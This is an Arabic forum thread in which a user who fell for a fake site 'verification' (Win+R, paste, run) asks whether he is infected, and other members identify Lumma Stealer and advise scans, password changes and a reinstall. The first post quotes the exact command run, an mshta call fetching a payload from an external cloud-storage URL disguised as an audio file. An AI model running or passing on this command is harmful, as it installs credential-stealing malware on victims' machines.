مشكلة هل جهازي مخترق ؟

[win8.1pro]

السلام عليكم ..
دخلت احد الموقع طلب مني التحقق لدخول ضغط علامة الويندوز ثم R ثم موافق
اتضح ان الموقع مخترق وانا ادخلت الامر ولا اعلم هل جهازي الان مخترق ؟

سطر الامر هو

mshta https://cdn-legacy-media-pool.oss-ap-southeast-1.aliyuncs.com/Aylex-LOUD.aac # # Workflow Access Filter Start | GateSig: GS-1187

 

[باسل القرشباسل القرش is verified member.]

وعليكم السلام
اولا ينقل للقسم المناسب
ثانيا برجاء فحص جهازك ب.malwarebytes

Official Site | Malwarebytes: Antivirus, Anti-Malware & Privacy

Malwarebytes offers advanced antivirus, anti-malware, privacy and scam protection for all your devices. Protect your digital life today.

www.malwarebytes.com

وايضا فحصه ببرنامج الانتى فيرس الموجود على جهازك مع افضليه الكاسبر

مع ملاحظه من التاسك اى برامج غربيه تعمل فى خلفيه الجهاز لم تكن مسطبها
واعطنا التقرير

 

[MagicianMiDo32]

نعم أخي للأسف تم أختراق جهازك ب malware
lumma stealer

يجب عليك فحص جهازك ببرنامجي malware bytes و hitman pro
ويجب عليك فورا تغيير جميع كلمات سر حساباتك وعمل log out ثم log in لجميعها وعدم حفظ اي باسوورد داخل اي متصفح وعوضا عن ذلك استخدام اداة bitwarden للمتصفح والهاتف
--
الهاكر الخبيث عامل السيرفر تبعه انك لو دخلت على الرابط من متصفح له user agent سيعطيك ملف mp4 عادي
اما لو دخلت بدون user agent من mshta ف سوف يقوم بتحميل ال luma stealer لسرقة بياناتك

 

[win8.1pro]

نعم أخي للأسف تم أختراق جهازك ب malware
lumma stealer
مشاهدة المرفق 268884
يجب عليك فحص جهازك ببرنامجي malware bytes و hitman pro
ويجب عليك فورا تغيير جميع كلمات سر حساباتك وعمل log out ثم log in لجميعها وعدم حفظ اي باسوورد داخل اي متصفح وعوضا عن ذلك استخدام اداة bitwarden للمتصفح والهاتف
--
الهاكر الخبيث عامل السيرفر تبعه انك لو دخلت على الرابط من متصفح له user agent سيعطيك ملف mp4 عادي
اما لو دخلت بدون user agent من mshta ف سوف يقوم بتحميل ال luma stealer لسرقة بياناتك

حالياً قمت باخذ نسخة احتياطية من المستندات والملفات والصور فقط وقمت بفورمات الجهاز بالكامل وتثبيت iso ويندوز 10 بشكل رسمي

- هل بعد هذا يوجد مخاوف استمرار الاختراق والثغرة والفايروس ؟

نعم أخي للأسف تم أختراق جهازك ب malware
lumma stealer
مشاهدة المرفق 268884
يجب عليك فحص جهازك ببرنامجي malware bytes و hitman pro
ويجب عليك فورا تغيير جميع كلمات سر حساباتك وعمل log out ثم log in لجميعها وعدم حفظ اي باسوورد داخل اي متصفح وعوضا عن ذلك استخدام اداة bitwarden للمتصفح والهاتف
--
الهاكر الخبيث عامل السيرفر تبعه انك لو دخلت على الرابط من متصفح له user agent سيعطيك ملف mp4 عادي
اما لو دخلت بدون user agent من mshta ف سوف يقوم بتحميل ال luma stealer لسرقة بياناتك

الله المستعان يا أخي ..

حالياُ قمت بفحص الجهاز باستخدام malwarebytes فحص كامل

ثم أخذت نسخة احتياطية إلى هاردسك خارجي من المستندات والملفات والصور فقط

وقمت بفورمات الجهاز بالكامل وفورمات جميع أقسام الهاردسك الداخلي بالكامل وتثبيت iso ويندوز 10 بشكل رسمي

وغيرت رقم السري لحساب المتصفح قوقل كروم

- هل بعد هذا يوجد مخاوف استمرار الاختراق والثغرة أو الفايروس ؟

 

[باسل القرشباسل القرش is verified member.]

حالياً قمت باخذ نسخة احتياطية من المستندات والملفات والصور فقط وقمت بفورمات الجهاز بالكامل وتثبيت iso ويندوز 10 بشكل رسمي

- هل بعد هذا يوجد مخاوف استمرار الاختراق والثغرة والفايروس ؟


الله المستعان يا أخي ..

حالياُ قمت بفحص الجهاز باستخدام malwarebytes فحص كامل

ثم أخذت نسخة احتياطية إلى هاردسك خارجي من المستندات والملفات والصور فقط

وقمت بفورمات الجهاز بالكامل وفورمات جميع أقسام الهاردسك الداخلي بالكامل وتثبيت iso ويندوز 10 بشكل رسمي

وغيرت رقم السري لحساب المتصفح قوقل كروم

- هل بعد هذا يوجد مخاوف استمرار الاختراق والثغرة أو الفايروس ؟

يا غالى فيرس لوميا

مهمته اختراق كلمات المرور المخزنه
وافضل طريقه هي تغير اغلبيه الباسوردات مع تفعيل المصادقه الثنائيه عن ارسال رسائل للاميل او الهاتف
ولا يوجد خوف على الداتا المخزنه

 

[win8.1pro]

يا غالى فيرس لوميا

مهمته اختراق كلمات المرور المخزنه
وافضل طريقه هي تغير اغلبيه الباسوردات مع تفعيل المصادقه الثنائيه عن ارسال رسائل للاميل او الهاتف
ولا يوجد خوف على الداتا المخزنه

جزاك الله خير .. غيرت اهم باسوردات المواقع .. ولكن كيف اتاكد عدم وجود الفيرس رغم اني عملت فورمات هل هذا يكفي .. ؟

 

[باسل القرشباسل القرش is verified member.]

جزاك الله خير .. غيرت اهم باسوردات المواقع .. ولكن كيف اتاكد عدم وجود الفيرس رغم اني عملت فورمات هل هذا يكفي .. ؟

بعد تغير كلمات السر ده الاهم
وكمان بعد الفرمته لاتقلق
ولكن يفضل مثل ما قال اخى ميدو فحص جهازك ببرنامجي malware bytes و hitman pro

السوال جانبى ماهو الانتى فيرس المسطب عندك لحظه الاختراق

 

[win8.1pro]

بعد تغير كلمات السر ده الاهم
وكمان بعد الفرمته لاتقلق
ولكن يفضل مثل ما قال اخى ميدو فحص جهازك ببرنامجي malware bytes و hitman pro

السوال جانبى ماهو الانتى فيرس المسطب عندك لحظه الاختراق

الافتراضي للويندوز Microsoft Defender

 

[باسل القرشباسل القرش is verified member.]

الافتراضي للويندوز Microsoft Defender

مع احترامى لك ملهوش لازمه

عن تجربه والافضل للاستخدام وصد مثل هذه الهجمات الكاسبر والافاست عن تجربه

 

[MagicianMiDo32]

الأخ باسل ماشاء الله كفى ووفى
طالما غيرت الباسووردات ف التهديد انتهى والحمد لله

انت في امان ان شاء الله اذا دخلت الى قسم الحماية في المنتدى وقمت بتحميل وتنصيب برنامج مضاد فيروسات مثل كاسبر أو أفاست كما أفاد الأخ باسل جزاه الله كل خير

 

[باسل القرشباسل القرش is verified member.]

الأخ باسل ماشاء الله كفى ووفى
طالما غيرت الباسووردات ف التهديد انتهى والحمد لله

انت في امان ان شاء الله اذا دخلت الى قسم الحماية في المنتدى وقمت بتحميل وتنصيب برنامج مضاد فيروسات مثل كاسبر أو أفاست كما أفاد الأخ باسل جزاه الله كل خير

حبيبى يا ميدو يا هندسه احنا بنتعلم منك بارك الله فيك ياغالى